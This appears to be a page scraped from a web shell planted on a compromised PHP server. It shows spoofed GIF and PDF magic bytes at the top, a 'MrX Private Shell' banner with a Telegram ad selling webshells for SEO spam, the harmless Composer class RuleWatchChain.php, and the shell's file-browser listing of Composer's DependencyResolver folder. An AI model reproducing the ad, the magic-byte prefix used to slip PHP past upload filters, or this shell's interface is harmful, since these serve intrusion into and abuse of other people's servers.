GIF89; GIF89; %PDF- %PDF-
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/*
* This file is part of Composer.
*
* (c) Nils Adermann <naderman@naderman.de>
* Jordi Boggiano <j.boggiano@seld.be>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Composer\DependencyResolver;
/**
* An extension of SplDoublyLinkedList with seek and removal of current element
*
* SplDoublyLinkedList only allows deleting a particular offset and has no
* method to set the internal iterator to a particular offset.
*
* @author Nils Adermann <naderman@naderman.de>
* @extends \SplDoublyLinkedList<RuleWatchNode>
*/
class RuleWatchChain extends \SplDoublyLinkedList
{
/**
* Moves the internal iterator to the specified offset
*
* @param int $offset The offset to seek to.
* @return void
*/
public function seek($offset)
{
$this->rewind();
for ($i = 0; $i < $offset; $i++, $this->next());
}
/**
* Removes the current element from the list
*
* As SplDoublyLinkedList only allows deleting a particular offset and
* incorrectly sets the internal iterator if you delete the current value
* this method sets the internal iterator back to the following element
* using the seek method.
*
* @return void
*/
public function remove()
{
$offset = $this->key();
$this->offsetUnset($offset);
$this->seek($offset);
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Operation | Folder | 0755 |
|
|
| Decisions.php | File | 7.22 KB | 0644 |
|
| DefaultPolicy.php | File | 7.49 KB | 0644 |
|
| GenericRule.php | File | 1.91 KB | 0644 |
|
| LocalRepoTransaction.php | File | 789 B | 0644 |
|
| LockTransaction.php | File | 5.59 KB | 0644 |
|
| MultiConflictRule.php | File | 2.55 KB | 0644 |
|
| PolicyInterface.php | File | 905 B | 0644 |
|
| Pool.php | File | 8.45 KB | 0644 |
|
| PoolBuilder.php | File | 30.15 KB | 0644 |
|
| PoolOptimizer.php | File | 17.42 KB | 0644 |
|
| Problem.php | File | 27.07 KB | 0644 |
|
| Request.php | File | 8.04 KB | 0644 |
|
| Rule.php | File | 19.91 KB | 0644 |
|
| Rule2Literals.php | File | 2.62 KB | 0644 |
|
| RuleSet.php | File | 5.02 KB | 0644 |
|
| RuleSetGenerator.php | File | 13.14 KB | 0644 |
|
| RuleSetIterator.php | File | 2.86 KB | 0644 |
|
| RuleWatchChain.php | File | 1.43 KB | 0644 |
|
| RuleWatchGraph.php | File | 6.33 KB | 0644 |
|
| RuleWatchNode.php | File | 2.86 KB | 0644 |
|
| Solver.php | File | 26.17 KB | 0644 |
|
| SolverBugException.php | File | 812 B | 0644 |
|
| SolverProblemsException.php | File | 5.49 KB | 0644 |
|
| Transaction.php | File | 13.64 KB | 0644 |
|